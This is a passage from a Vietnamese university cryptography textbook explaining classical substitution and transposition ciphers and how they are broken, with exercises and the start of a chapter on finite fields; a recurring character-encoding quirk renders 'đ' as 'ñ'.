II.1.5 Tìm duyệt tổng thể (Brute-Force)


Về mặt lý thuyết phương pháp duyệt tổng thể là luôn thực hiện ñược, do có thể tiến hành
thử từng khoá, mà số khoá là hữu hạn. Phần lớn công sức của các tấn công ñều tỷ lệ
thuận với kích thước khoá. Khóa càng dài thời gian tìm kiếm càng lâu và thường tăng
theo hàm mũ. Ta có thể giả thiết là kẻ thám mã có thể dựa vào bối cảnh ñể biết hoặc nhận
biết ñược bản rõ.
Sau ñây là một số thống kê về mối liên hệ giữa ñộ dài khóa, kích thước không gian
khóa, tốc ñộ xử lý và thời gian tìm duyệt tổng thể. Chúng ta nhận thấy với ñộ dài khóa từ
128 bit trở lên, thời gian yêu cầu là rất lớn, lên ñến hàng tỷ năm, như vậy có thể coi
phương pháp duyệt tổng thể là không hiện thực.

II.1.6 ðộ an toàn.
Có thể phân lọai an toàn thành hai kiểu như sau:
- An toàn không ñiều kiện: ở ñây không quan trọng máy tính mạnh như thế nào, có
thể thực hiện ñược bao nhiêu phép toán trong một giây, mã hoá không thể bị bẻ, vì
bản mã không cung cấp ñủ thông tin ñể xác ñịnh duy nhất bản rõ. Việc dùng bộ ñệm
ngẫu nhiên một lần ñể mã dòng cho dữ liệu mà ta sẽ xét cuối bài này ñược coi là an
toàn không ñiều kiện. Ngoài ra chưa có thuật toán mã hóa nào ñược coi là an toàn
không ñiều kiện.
- 19 -
- An toàn tính toán: với nguồn lực máy tính giới hạn và thời gian có hạn (chẳng hạn
thời gian tính toán không quá tuổi của vũ trụ) mã hoá coi như không thể bị bẻ. Trong
trường hợp này coi như mã hóa an toàn về mặt tính toán. Nói chung từ nay về sau,
một thuật toán mã hóa an toàn tính toán ñược coi là an toàn.

II.2 Các mã thế cổ ñiển thay thế

Có hai loại mã cổ ñiển là mã thay thế và mã hoán vị (hay còn gọi là dịch chuyển).
Mã thay thế là phương pháp mà từng kí tự (nhóm kí tự) trong bản rõ ñược thay thế bằng
một kí tự (một nhóm kí tự) khác ñể tạo ra bản mã. Bên nhận chỉ cần thay thế ngược lại
trên bản mã ñể có ñược bản rõ ban ñầu.
Trong phương pháp mã hoán vị, các kí tự trong bản rõ vẫn ñược giữ nguyên, chúng chỉ
ñược sắp xếp lại vị trí ñể tạo ra bản mã. Tức là các kí tự trong bản rõ hoàn toàn không bị
thay ñổi bằng kí tự khác mà chỉ ñảo chỗ của chúng ñể tạo thành bản mã.

Trước hết ta xét các mã cổ ñiển sử dụng phép thay thế các chữ của bản rõ bằng các chữ
khác của bảng chữ ñể tạo thành bản mã.
- Ở ñây các chữ của bản rõ ñược thay bằng các chữ hoặc các số hoặc các ký tự khác.
- Hoặc nếu xem bản rõ như môt dãy bít, thì phép thế thay các mẫu bít bản rõ bằng các
mẫu bít bản mã.

II.2.1 Mã Ceasar
ðây là mã thế ñược biết sớm nhất, ñược sáng tạo bởi Julius Ceasar. Lần ñầu tiên ñược sử
dụng trong quân sự. Việc mã hoá ñược thực hiện ñơn giản là thay mỗi chữ trong bản rõ
bằng chữ thứ ba tiếp theo trong bảng chữ cái.
• Ví dụ:
o Meet me after the toga party
o PHHW PH DIWHU WKH WRJD SDUWB
Ở ñây thay chữ m bằng chữ ñứng thứ 3 sau m là p (m, n, o, p); thay chữ e bằng chữ ñứng
thứ 3 sau e là h (e, f, g, h).
• Có thể ñịnh nghĩa việc mã hoá trên qua ánh xạ trên bảng chữ cái sau: các chữ ở
dòng dưới là mã của các chữ tương ứng ở dòng trên:

a b c d e f g h i j k l m n o p q r s t u v w x y z
D E F G H I J K L M N O P Q R S T U V W X Y Z A B C
• Về toán học, nếu ta gán số thứ tự cho mỗi chữ trong bảng chữ cái. Các chữ ở
dòng trên có số thứ tự tương ứng là số ở dòng dưới:
- 20 -
a b c d e f g h i j k l m
0 1 2 3 4 5 6 7 8 9 10 11 12
n o p q r s t u v w x y z
13 14 15 16 17 18 19 20 21 22 23 24 25
thì mã Ceasar ñược ñịnh nghĩa qua phép tịnh tiến các chữ như sau:
c = E(p) = (p + k) mod (26)
p = D(c) = (c – k) mod (26)
Ở ñây, p là số thứ tự của chữ trong bản rõ và c là số thứ tự của chữ tương ứng của
bản mã; k là khoá của mã Ceasar. Có 26 giá trị khác nhau của k, nên có 26 khoá
khác nhau. Thực tế ñộ dài khoá ở ñây chỉ là 1, vì mọi chữ ñều tịnh tiến ñi một
khoảng như nhau.
• Thám mã Ceasar là việc làm ñơn giản, do số khoá có thể có là rất ít.
Chỉ có 26 khoá có thể, vì A chỉ có thể ánh xạ vào một trong số 26 chữ cái của
bảng chữ cái tiếng Anh: A, B, C, …Các chữ khác sẽ ñược xác ñịnh bằng số bước
tịnh tiến tương ứng của A. Kẻ thám mã có thể thử lần lượt từng khoá một, tức là
sử dụng phương pháp tìm duyệt tổng thể. Vì số khoá ít nên việc tìm duyệt là khả
thi. Cho trước bản mã, thử 26 cách dịch chuyển khác nhau, ta sẽ ñoán nhận thông
qua nội dung các bản rõ nhận ñược.

Ví dụ. Bẻ bản mã "GCUA VQ DTGCM" bằng cách thử các phép tịnh tiến khác nhau
của bảng chữ, ta chọn ñược bước tịnh tiến thích hợp là 24 và cho bản rõ là "easy to
break".

II.2.2 Các mã bảng chữ ñơn


Bây giờ ta khắc phục nhược ñiểm của mã Ceasar bằng cách mã hoá các chữ không chỉ là
dịch chuyển bảng chữ, mà có thể tạo ra các bước nhảy khác nhau cho các chữ. Trong một
mã mỗi chữ của bản rõ ñược ánh xạ ñến một chữ khác nhau của bản mã. Do ñó mỗi cách
mã như vậy sẽ tương ứng với một hoán vị của bảng chữ và hoán vị ñó chính là khoá của
mã ñã cho. Như vậy ñộ dài khoá ở ñây là 26 và số khoá có thể có là 26!. Số khoá như
vậy là rất lớn.

Ví dụ. Ta có bản mã tương ứng với bản rõ trong mã bảng chữ ñơn như sau:
Plain: abcdefghijklmnopqrstuvwxyz
Cipher: DKVQFIBJWPESCXHTMYAUOLRGZN
Plaintext: ifwewishtoreplaceletters
Ciphertext: WIRFRWAJUHYFTSDVFSFUUFYA
- 21 -
- Tính an toàn của mã trên bảng chữ ñơn. Tổng cộng có 26! xấp xỉ khoảng 4 x 1026
khoá. Với khá nhiều khoá như vậy nhiều người nghĩ là mã trên bảng chữ ñơn sẽ an
toàn. Nhưng không phải như vậy. Vấn ñề ở ñây là do các ñặc trưng về ngôn ngữ. Tuy
có số lượng khoá lớn, nhưng do các ñặc trưng về tần suất xuất hiện của các chữ trong
bản rõ và các chữ tương ứng trong bản mã là như nhau, nên kẻ thám mã có thể ñoán
ñược ánh xạ của một số chữ và từ ñó mò tìm ra chữ mã cho các chữ khác. Ta sẽ xét
khía cạnh này cụ thể trong mục sau.
- Tính dư thừa của ngôn ngữ và thám mã. Ngôn ngữ của loài người là dư thừa. Có
một số chữ hoặc các cặp chữ hoặc bộ ba chữ ñược dùng thường xuyên hơn các bộ chữ
cùng ñộ dài khác. Chẳng hạn như các bộ chữ sau ñây trong tiếng Anh "th lrd s m
shphrd shll nt wnt". Tóm lại trong nhiều ngôn ngữ các chữ không ñược sử dụng
thường xuyên như nhau. Trong tiếng Anh chữ E ñược sử dụng nhiều nhất; sau ñó ñến
các chữ T, R, N, I, O, A, S. Một số chữ rất ít dùng như: Z, J, K, Q, X. Bằng phương
pháp thống kê, ta có thể xây dựng các bảng các tần suất các chữ ñơn, cặp chữ, bộ ba
chữ.

Bảng tần suất chữ cái tiếng Anh:

• Sử dụng bảng tần suất vào việc thám mã


ðiều quan trọng là mã thế trên bảng chữ ñơn không làm thay ñổi tần suất tương
ñối của các chữ, có nghĩa là ta vẫn có bảng tần suất trên nhưng ñối với bảng chữ
- 22 -
mã tương ứng. ðiều ñó ñược phát hiện bởi các nhà khoa học Ai cập từ thế kỷ thứ
9. Do ñó có cách thám mã trên bảng chữ ñơn như sau:
- Tính toán tần suất của các chữ trong bản mã
- So sánh với các giá trị ñã biết
- Tìm kiếm các chữ ñơn hay dùng A-I-E, bộ ñôi NO và bộ ba RST; và các bộ ít
dùng JK, X-Z..
- Trên bảng chữ ñơn cần xác ñịnh các chữ dùng các bảng bộ ñôi và bộ ba trợ giúp.

Ví dụ. Thám mã bản mã trên bảng chữ ñơn, cho bản mã:
UZQSOVUOHXMOPVGPOZPEVSGZWSZOPFPESXUDBMETSXAIZ
VUEPHZHMDZSHZOWSFPAPPDTSVPQUZWYMXUZUHSXEPYEP
OPDZSZUFPOUDTMOHMQ
- Tính tần suất các chữ
- ðoán P và Z là e và t.
- Khi ñó ZW là th và ZWP là the.
- Suy luận tiếp tục ta có bản rõ:
it was disclosed yesterday that several informal but
direct contacts have been made with political
representatives in moscow

II.2.3 Mã Playfair
Như chúng ta ñã thấy không phải số khoá lớn trong mã bảng chữ ñơn ñảm bảo an toàn
mã. Một trong các hướng khắc phục là mã bộ các chữ, tức là mỗi chữ sẽ ñược mã bằng
một số chữ khác nhau tùy thuộc vào các chữ mà nó ñứng cạnh. Playfair là một trong các
mã như vậy, ñược sáng tạo bởi Charles Wheastone vào năm 1854 và mang tên người bạn
là Baron Playfair. Ở ñây mỗi chữ có thể ñược mã bằng một trong 7 chữ khác nhau tùy
vào chữ cặp ñôi cùng nó trong bản rõ.
Ma trận khoá Playfair. Cho trước một từ làm khoá, với ñiều kiện trong từ khoá ñó không
có chữ cái nào bị lặp. Ta lập ma trận Playfair là ma trận cỡ 5 x 5 dựa trên từ khoá ñã cho
và gồm các chữ trên bảng chữ cái, ñược sắp xếp theo thứ tự như sau:
- Trước hết viết các chữ của từ khoá vào các hàng của ma trận bắt từ hàng thứ
nhất.
- Nếu ma trận còn trống, viết các chữ khác trên bảng chữ cái chưa ñược sử dụng
vào các ô còn lại. Có thể viết theo một trình tự qui ước trước, chẳng hạn từ ñầu
bảng chữ cái cho ñến cuối.
- Vì có 26 chữ cái tiếng Anh, nên thiếu một ô. Thông thuờng ta dồn hai chữ nào
ñó vào một ô chung, chẳng hạn I và J.
- 23 -
- Giả sử sử dụng từ khoá MORNACHY. Lập ma trận khoá Playfair tương ứng
như sau:
MONAR
CHYBD
EFGIK
LPQST
UVWXZ
Mã hoá và giải mã: bản rõ ñược mã hoá 2 chữ cùng một lúc theo qui tắc như sau:
- Chia bản rõ thành từng cặp chữ. Nếu một cặp nào ñó có hai chữ như nhau, thì ta
chèn thêm một chữ lọc chẳng hạn X. Ví dụ, trước khi mã “balloon” biến ñổi
thành “ba lx lo on”.
- Nếu cả hai chữ trong cặp ñều rơi vào cùng một hàng, thì mã mỗi chữ bằng chữ ở
phía bên phải nó trong cùng hàng của ma trận khóa (cuộn vòng quanh từ cuối về
ñầu), chẳng hạn “ar” biến ñổi thành “RM”
- Nếu cả hai chữ trong cặp ñều rơi vào cùng một cột, thì mã mỗi chữ bằng chữ ở
phía bên dưới nó trong cùng cột của ma trận khóa (cuộn vòng quanh từ cuối về
ñầu), chẳng hạn “mu” biến ñổi thành “CM”
- Trong các trường hợp khác, mỗi chữ trong cặp ñược mã bởi chữ cùng hàng với
nó và cùng cột với chữ cùng cặp với nó trong ma trận khóa. Chẳng hạn, “hs” mã
thành “BP”, và “ea” mã thành “IM” hoặc “JM” (tuỳ theo sở thích)
An toàn của mã Playfair:
- An toàn ñược nâng cao so hơn với bảng ñơn, vì ta có tổng cộng 26 x 26 = 676
cặp. Mỗi chữ có thể ñược mã bằng 7 chữ khác nhau, nên tần suất các chữ trên bản
mã khác tần suất của các chữ cái trên văn bản tiếng Anh nói chung.
- Muốn sử dụng thống kê tần suất, cần phải có bảng tần suất của 676 cặp ñể thám
mã (so với 26 của mã bảng ñơn). Như vậy phải xem xét nhiều trường hợp hơn và
tương ứng sẽ có thể có nhiều bản mã hơn cần lựa chọn. Do ñó khó thám mã hơn
mã trên bảng chữ ñơn.
- Mã Playfair ñược sử dụng rộng rãi nhiều năm trong giới quân sự Mỹ và Anh
trong chiến tranh thế giới thứ 1. Nó có thể bị bẻ khoá nếu cho trước vài trăm chữ,
vì bản mã vẫn còn chứa nhiều cấu trúc của bản rõ.

II.2.4 Các mã ña bảng


Một hướng khác làm tăng ñộ an toàn cho mã trên bảng chữ là sử dụng nhiều bảng chữ ñể
mã. Ta sẽ gọi chúng là các mã thế ña bảng. Ở ñây mỗi chữ có thể ñược mã bằng bất kỳ
chữ nào trong bản mã tùy thuộc vào ngữ cảnh khi mã hoá. Làm như vậy ñể trải bằng tần
suất các chữ xuất hiện trong bản mã. Do ñó làm mất bớt cấu trúc của bản rõ ñược thể hiện
- 24 -
trên bản mã và làm cho thám mã ña bảng khó hơn. Ta sử dụng từ khoá ñể chỉ rõ chọn
bảng nào ñược dùng cho từng chữ trong bản tin. Sử dụng lần lượt các bảng theo từ khóa
ñó và lặp lại từ ñầu sau khi kết thúc từ khoá. ðộ dài khoá là chu kỳ lặp của các bảng chữ.
ðộ dài càng lớn và nhiều chữ khác nhau ñược sử dụng trong từ khoá thì càng khó thám
mã.

II.2.5 Mã Vigenere
Mã thế ña bảng ñơn giản nhất là mã Vigenere. Thực chất quá trình mã hoá Vigenere là
việc tiếh hành ñồng thời dùng nhiều mã Ceasar cùng một lúc trên bản rõ với nhiều khoá
khác nhau. Khoá cho mỗi chữ dùng ñể mã phụ thuộc vào vị trí của chữ ñó trong bản rõ và
ñược lấy trong từ khoá theo thứ tự tương ứng.
Giả sử khoá là một chữ có ñộ dài d ñược viết dạng K = K1K2…Kd, trong ñó Ki nhận giá
trị nguyên từ 0 ñến 25. Khi ñó ta chia bản rõ thành các khối gồm d chữ. Mỗi chữ thứ i
trong khối chỉ ñịnh dùng bảng chữ thứ i với tịnh tiến là Ki giống như trong mã Ceasar.
Trên thực tế khi mã ta có thể sử dụng lần lượt các bảng chữ và lặp lại từ ñầu sau d chữ
của bản rõ. Vì có nhiều bảng chữ khac nhau, nên cùng một chữ ở các vị trí khác nhau sẽ
có các bước nhảy khác nhau, làm cho tần suất các chữ trong bản mã dãn tương ñối ñều.

Giải mã ñơn giản là quá trình làm ngược lại. Nghĩa là dùng bản mã và từ khoá với các
bảng chữ tương ứng, nhưng với mỗi chữ sử dụng bước nhảy lui lại về ñầu.

Ví dụ: ðể sử dụng mã Vigenere với từ khóa và bản rõ cho trước ta có thể làm như sau:
- Viết bản rõ ra
- Viết từ khoá lặp nhiều lần phía trên tương ứng của nó
- Sử dụng mỗi chữ của từ khoá như khoá của mã Ceasar
- Mã chữ tương ứng của bản rõ với bước nhảy tương ứng.
- Chẳng hạn sử dụng từ khoá deceptive
key: deceptivedeceptivedeceptive
plaintext: wearediscoveredsaveyourself
ciphertext:ZICVTWQNGRZGVTWAVZHCQYGL

ðể mã chữ w ñầu tiên ta tìm chữ ñầu của khóa là d, như vậy w sẽ ñược mã trên bảng chữ
tịnh tiến 3 (tức là a tịnh tiến vào d). Do ñó chữ ñầu w ñược mã bởi chữ Z. Chữ thứ hai
trong từ khóa là e, có nghĩa là chữ thứ hai trong bản rõ sẽ ñược tịnh tiến 4 (từ a tịnh tiến
ñến e). Như vậy thứ hai trong bản rõ e sẽ ñược mã bởi chữ I. Tương tự như vậy cho ñến
hết bản rõ.
- 25 -
Trên thực tế ñể hỗ trợ mã Vigenere, người ta ñã tạo ra trang Saint – Cyr ñể trợ giúp cho
việc mã và giải mã thủ công. ðó là một bảng cỡ 26 x 26 có tên tương ứng là các chữ cái
trong bảng chữ tiếng Anh. Hàng thứ i là tịnh tiến i chữ của bảng chứ cái. Khi ñó chữ ở
cột ñầu tiên chính là khoá của bảng chữ ở cùng hàng. Do ñó chữ mã của một chữ trong
bản rõ nằm trên cùng cột với chữ ñó và nằm trên hàng tương ứng với chữ khoá.

ABCDEFGHIJKLMNOPQRSTUVWXYZ

A ABCDEFGHIJKLMNOPQRSTUVWXYZ
B BCDEFGHIJKLMNOPQRSTUVWXYZA
C CDEFGHIJKLMNOPQRSTUVWXYZAB
D DEFGHIJKLMNOPQRSTUVWXYZABC
E EFGHIJKLMNOPQRSTUVWXYZABCD
F FGHIJKLMNOPQRSTUVWXYZABCDE
G GHIJKLMNOPQRSTUVWXYZABCDEF
H HIJKLMNOPQRSTUVWXYZABCDEFG
I IJKLMNOPQRSTUVWXYZABCDEFGH
J JKLMNOPQRSTUVWXYZABCDEFGHI
K KLMNOPQRSTUVWXYZABCDEFGHIJ
L LMNOPQRSTUVWXYZABCDEFGHIJK
M MNOPQRSTUVWXYZABCDEFGHIJKL
N NOPQRSTUVWXYZABCDEFGHIJKLM
O OPQRSTUVWXYZABCDEFGHIJKLMN
P PQRSTUVWXYZABCDEFGHIJKLMNO
Q QRSTUVWXYZABCDEFGHIJKLMNOP
R RSTUVWXYZABCDEFGHIJKLMNOPQ
S STUVWXYZABCDEFGHIJKLMNOPQR
T TUVWXYZABCDEFGHIJKLMNOPQRS
U UVWXYZABCDEFGHIJKLMNOPQRST
V VWXYZABCDEFGHIJKLMNOPQRSTU
W WXYZABCDEFGHIJKLMNOPQRSTUV
X XYZABCDEFGHIJKLMNOPQRSTUVW
Y YZABCDEFGHIJKLMNOPQRSTUVWX
Z ZABCDEFGHIJKLMNOPQRSTUVWXY

Bảng Saint Cyr


- 26 -
An toàn của mã Vigenere. Như vậy có chữ mã khác nhau cho cùng một chữ của bản rõ.
Suy ra tần suất của các chữ bị là phẳng, nghĩa là tần suất xuất hiện các chữ trên bản mã
tương ñối ñều nhau. Tuy nhiên chưa mất hoàn toàn, do ñộ dài của khoá có hạn, nên có thể
tạo nên chu kỳ vòng lặp. Kẻ thám mã bắt ñầu từ tần suất của chữ ñể xem có phải ñây là
mã ñơn bảng chữ hay không. Giả sử ñây là mã ña bảng chữ, sau ñó xác ñịnh số bảng chữ
trong từ khoá và lần tìm từng chữ. Như vậy cần tăng ñộ dài từ khoá ñể tăng số bảng chữ
dùng khi mã ñể “là” tần suất của các chữ.

II.2.6 Phương pháp thám mã Kasiski


Phương pháp phát triển bởi Babbage và Kasiski. Ta thấy các chữ như nhau trên bản rõ và
cách nhau một khoảng ñúng bằng ñộ dài từ khoá (chu kỳ), thì sẽ ñược mã bằng cùng một
chữ. Như vậy từ ñộ lặp của các chữ trong bản mã có thể cho phép xác ñịnh chu kỳ. Tất
nhiên không phải khi nào cũng tìm ñược ñộ dài từ khoá. Sau ñó tìm các chữ trong từ khoá
bằng cách tấn công từng bảng chữ ñơn với cùng kỹ thuật dựa trên các bảng tần suất của
các bộ chữ như trước.

II.2.7 Mã khoá tự ñộng


Lý tưởng nhất là ta có khoá dài như bản tin. Do ñó Vigenere ñề xuất khoá tự ñộng sinh
cho bằng ñộ dài bản tin như sau: từ khoá ñược nối tiếp bằng chính bản rõ ñể tạo thành
khoá. Sau ñó dùng mã Vigenere ñể mã bản rõ ñã cho. Khi ñó biết từ khoá có thể khôi
phục ñược một số chữ ban ñầu của bản rõ. Sau ñó tiếp tục sử dụng chúng ñể giải mã cho
văn bản còn lại. Sự cải tiến này làm mất khái niệm chu kỳ, gây khó khăn cho việc thám
mã, nhưng vẫn còn ñặc trưng tần suất ñể tấn công.

Ví dụ. Cho từ khoá deceptive. Ta viết bản rõ nối tiếp vào từ khoá tạo thành từ khoá mới
có ñộ dài bằng ñộ dài bản rõ.
key: deceptivewearediscoveredsav
plaintext: wearediscoveredsaveyourself
ciphertext:ZICVTWQNGKZEIIGASXSTSLVVWLA

II.2.8 Bộ ñệm một lần


Nếu khoá thực sự ngẫu nhiên ñược dùng và có ñộ dài bằng bản rõ thì ta nói ñó là bộ ñệm
một lần. Vì nó chỉ ñược dùng một lần và ngẫu nhiên, nên mã hoá sẽ an toàn. Mã sẽ không
bẻ ñược vì bản mã không có liên quan thống kê gì với bản rõ, do bộ ñệm ñược sinh ngẫu
nhiên. Có thể nói mã bộ ñệm một lần là an toàn tuyệt ñối, vì với bản rõ bất kỳ và bản mã
bất kỳ, luôn tồn tại một khoá ñể ánh xạ bản rõ ñó sang bản mã ñã cho. Về mặt lý thuyết,
- 27 -
xác suất ñể mọi mẩu tin (có cùng ñộ dài với bản rõ) trên bảng chữ mã là mã của một bản
rõ cho trước là như nhau. Khoá chỉ sử dụng một lần, nên các lần mã là ñộc lập với nhau.
Vấn ñề khó khăn của mã bộ ñệm một lần là việc sinh ngẫu nhiên khóa và phân phối khoá
an toàn. Do ñó bộ ñệm một lần ít ñược sử dụng và chỉ dùng trong trường hợp ñòi hỏi bảo
mật rất cao.

II.3 Các mã thế cổ ñiển hoán vị

Trong các mục trước chúng ta ñã xét một số mã thay thế, ở ñó các chữ của bản rõ ñược
thay thế bằng các chữ khác của bản mã. Bây giờ chúng ta xét ñến loại mã khác, mã hoán
vị, các chữ trong bản rõ không ñược thay thế bằng các chữ khác mà chỉ thay ñổi vị trí, tức
là việc mã hoá chỉ dịch chuyển vị trí tương ñối giữa các chữ trong bản rõ. Như vậy, nó
dấu bản rõ bằng cách thay ñổi thứ tự các chữ, nó không thay ñổi các chữ thực tế ñược
dùng. Do ñó bản mã có cùng phân bố tần suất xuất hiện các chữ như bản gốc. Như vậy có
thể thám mã ñể phát hiện ñược.

II.3.1 Mã Rail Fence


ðây là mã hoán vị ñơn giản. Viết các chữ của bản rõ theo ñường chéo trên một số dòng.
Sau ñó ñọc các chữ theo theo từng dòng sẽ nhận ñược bản mã. Số dòng chính là khoá của
mã. Vì khi biết số dòng ta sẽ tính ñược số chữ trên mỗi dòng và lại viết bản mã theo các
dòng sau ñó lấy bản rõ bằng cách viết lại theo các cột.

Ví dụ. Viết bản tin “meet me after the toga party” lần lượt trên hai dòng như sau
m e m a t r h t g p r y
e t e f e t e o a a t

Sau ñó ghép các chữ ở dòng thứ nhất với các chữ ở dòng thứ hai cho bản mã:
MEMATRHTGPRYETEFETEOAAT

II.3.2 Mã dịch chuyển dòng


Mã có sơ ñồ phức tạp hơn. Viết các chữ của bản tin theo các dòng với số cột xác ñịnh.
Sau ñó thay ñổi thứ tự các cột theo một dãy số khoá cho truớc, rồi ñọc lại chúng theo các
cột ñể nhận ñược bản mã. Quá trình giải mã ñược thực hiện ngược lại.
Ví dụ:
Key: 431 25 6 7
Plaintext: a t t a c k p
o s t po n e
- 28 -
d u n t i l t
wo amxy z
Ta ñọc theo thứ tự các cột từ 1 ñến 7 ñể nhận ñược bản mã:
Ciphertext: TTNAAPTMTSUOAODWCOIXKNLYPETZ

II.3.2 Mã tích
Mã dùng hoán vị hoặc dịch chuyển không an toàn vì các ñặc trưng tần xuất của ngôn ngữ
không thay ñổi. Có thể sử dụng một số mã liên tiếp nhau sẽ làm cho mã khó hơn. Mã cổ
ñiển chỉ sử dụng một trong hai phương pháp thay thế hoặc hoán vị. Người ta nghĩ ñến
việc kết hợp cả hai phương pháp này trong cùng một mã và có thể sử dụng ñan xen hoặc
lặp nhiều vòng. ðôi khi ta tưởng lặp nhiều lần cùng một loại mã sẽ tạo nên mã phức tạp
hơn, nhưng trên thực tế trong một số trường hợp về bản chất chúng cũng tương ñương
với một lần mã cùng loại nào ñó như: tích của hai phép thế sẽ là một phép thế; tích của
hai phép hoán vị sẽ là một phép hoán vị. Nhưng nếu hai loại mã ñó khác nhau thì sẽ tạo
nên mã mới phức tạp hơn, chính vì vậy phép thế ñược nối tiếp bằng phép dịch chuyển sẽ
tạo nên mã mới khó hơn rất nhiều. ðây chính là chiếc cầu nối từ mã cổ ñiển sang mã hiện
ñại.
ðiểm yếu của mã cổ ñiển:
- Phương pháp mã hoá cổ ñiển có thể dễ dàng bị giải mã bằng cách ñoán chữ dựa trên
phương pháp thống kê tần xuất xuất hiện các chữ cái trên mã và so sánh với bảng
thống kê quan sát của bản rõ.
- ðể dùng ñược mã hoá cổ ñiển thì bên mã hoá và bên giải mã phải thống nhất với
nhau về cơ chế mã hoá cũng như giải mã. Nếu không thì hai bên sẽ không thể làm
việc ñược với nhau.

II.4 Một số vấn ñề khác.


II.4.1 Máy quay
Trước khi có mã hiện ñại, máy quay là mã tích thông dụng nhất. Chúng ñược sử dụng
rộng rãi trong chiến tranh thế giới thứ hai: ðức, ñồng minh và Nhật. Máy quay tạo nên
mã thay thế rất ña dạng và phức tạp. Trong máy có sử dụng một số lõi hình trụ, mỗi lõi
ứng với một phép thế, khi quay sẽ thay thế mỗi chữ bằng một chữ khác tương ứng. Với 3
hình trụ khác nhau, ta có 26 x 26 x 26 = 17576 bảng chữ.
II.4.2 Dấu tin
Một trong những kỹ thuật khác ñể ñảm bảo tính bảo mật của thông tin ñược gửi là dấu
tin. ðây là một sự lựa chọn dùng kết hợp hoặc ñồng thời với mã. Dấu tin là dấu sự tồn tại
của bản tin cần bảo mật trong một thông tin khác như: trong bản tin dài chỉ dùng một tập
con các chữ/từ ñược ñánh dấu bằng cách nào ñó; sử dụng mực không nhìn thấy; dấu tin
- 29 -
trong các file âm thanh hoặc hình ảnh. Các kỹ thuật này gần ñây cũng ñược quan tâm
nghiên cứu. Tuy nhiên nó có nhược ñiểm là chỉ dấu ñược lượng thông tin nhỏ các bít.
- 30 -
Bài tập

1. Cho biến ñọan mã sau dùng mã Cesar


"GCUA VQ DTGCM"
Suy luận tìm bản rõ.
2. Sử dụng kỹ thuật thám mã bảng chữ ñơn, lập bảng tần suất các chữ, bộ chữ ñôi, bộ
chữ ba của ñọan mã sau:
UZQSOVUOHXMOPVGPOZPEVSGZWSZOPFPESXUDBMETSXAIVUEPHZH
MDZSHZOWSFPAPPDTSVPQUZWYMXUZUHSXEPYEPOPDZSZUFPOUDTM
OHMQ
Lập luận và cho biết ánh xạ của bảng chữ ñơn và ñưa ra bản rõ phù hợp
3. Nêu thuật toán dùng bảng Saint Cyr ñể mã hóa và giải mã Vigenere khi biết từ khóa.
Áp dụng thuật toán ñó mã hóa bản rõ sau: “Network Security is very important for
software development” với từ khóa là “COMPUTER SCIENCE”
4. Tại sao có thể nói “Có thể nói mã bộ ñệm một lần là an toàn tuyệt ñối, vì với bản rõ
bất kỳ và bản mã bất kỳ, luôn tồn tại một khoá ñể ánh xạ bản rõ ñó sang bản mã ñã
cho”. Giải thích nhận ñịnh sau “Về mặt lý thuyết, xác suất ñể mọi mẩu tin (có cùng
ñộ dài với bản rõ) trên bảng chữ mã là mã của một bản rõ cho trước là như nhau”.
5. Tìm bản mã của bản rõ “We are studying cryptography this year” sử dụng mã
Playfair với từ khóa “information technology”.
6. Chứng tỏ rằng, phép dịch chuyển không khắc phục ñược tính dư thừa của ngôn ngữ
tự nhiên.
7. Chứng minh rằng tích của hai phép thế ñơn là một phép thế ñơn và tích của hai phép
dịch chuyển là một phép dịch chuyển. Có thể nói gì về tích của một phép thế ñơn và
một phép dịch chuyển.
8. Có bao nhiêu khóa Playfair khác nhau.
9. Mã hóa bản rõ “Chung toi se la nhung ky su cong nghe thong tin gioi trong mot vai
nam nua” sử dụng từ khóa 631425.
10. Giả sử dùng mã dịch chuyển dòng với 8 cột. Hỏi có bao nhiêu khóa khác nhau. Nêu
thuật toán giải mã với từ khóa cho trước.
11. Chứng minh rằng: tích của hai phép thế sẽ là một phép thế; tích của hai phép hoán vị
sẽ là một phép hoán vị.
- 31 -
CHƯƠNG 3:
TRƯỜNG HỮU HẠN

Mở ñầu
Giới thiệu về cấu trúc ñại số - trường hữu hạn. ðây là mô hình toán học ñóng vai trò
quan trọng trong lý thuyết mã như ñối với chuẩn mã nâng cao AES, mã ñường cong
Elip, mã IDEA và khoá công khai. Nó liên quan ñến các phép toán trên “số”: ở ñây sẽ
xét “số” là khái niệm khái quát hơn các số nguyên, số thực, số phức thường gặp trong
số học, nói chung “số” có thể là các phần tử trong một tập hợp nào ñó. ðồng thời trên
tập hợp ñó có trang bị các phép toán tương ứng thoả mãn một số tính chất nhất ñịnh
như các số với các phép toán cộng, trừ hoặc nhân, chia. Ta bắt ñầu từ các khái niệm
về nhóm, vành, trường của ñại số trừu tượng.

III.1 Các cấu trúc ñại số

III.1.1 Nhóm
Cho một tập các phần tử hoặc “số” và một phép toán hai ngôi, mà kết quả cũng là một
phần tử của tập hợp ñó. Tức là ứng với mỗi cặp phần tử trên tập ñó, kết quả của phép
toán cũng là một phần tử xác ñịnh của tập ñã cho. Tính chất này ta gọi là tính ñóng
của phép toán trên tập ñang xét.
ðịnh nghĩa nhóm. Tập hợp G ñó với phép toán . ñã cho ñược gọi là nhóm, nếu nó
thỏa mãn các tính chất sau với mọi phần tử a, b, c thuộc G:
o Tính kết hợp (a.b).c = a.(b.c)
o Có ñơn vị e: e.a = a.e = a
o Có nghịch ñảo a-1: a.a-1 = e
Nếu có thêm tính giao hoán a.b = b.a, thì gọi là nhóm Aben hay nhóm
giao hoán.
ðịnh nghĩa nhóm xiclic.
o ðịnh nghĩa lũy thừa như là việc áp dụng lặp phép toán:
Ví dụ: a3 = a.a.a
o Và ñơn vị e=a0
o Một nhóm ñược gọi là xiclic nếu mọi phần tử ñều là lũy thừa của một phần tử
cố ñịnh nào ñó. Chẳng hạn b = ak ñối với a cố ñịnh và mỗi b trong nhóm.
o Khi ñó a ñược gọi là phần tử sinh của nhóm.

III.1.2 Vành
- 32 -
Cho một tập R các “số” với hai phép toán ñược gọi là cộng và nhân. Ở ñây “số” ñược
hiểu là phần tử của tập hợp và hai phép toán trên xác ñịnh trên tập hợp ñó. Tập với
hai phép toán trên ñược gọi là vành, nếu hai phép toán thoả mãn các tính chất sau
o Với phép cộng, R là nhóm Aben
o Với phép nhân, có
 tính ñóng và
 tính kết hợp
 tính phân phối ñối với phép cộng a(b+c) = ab + ac
Nếu phép nhân có tính giao hoán thì tạo thành vành giao hoán.
Nếu phép nhân có nghịch ñảo và không có thương 0 (tức là không có hai phần khác 0
mà tích của chúng lại bằng 0), thì nó tạo thành miền nguyên

III.1.3 Trường là một tập hợp F với hai phép toán cộng và nhân, thoả mãn tính chất
sau:
o Với phép cộng F là nhóm Aben
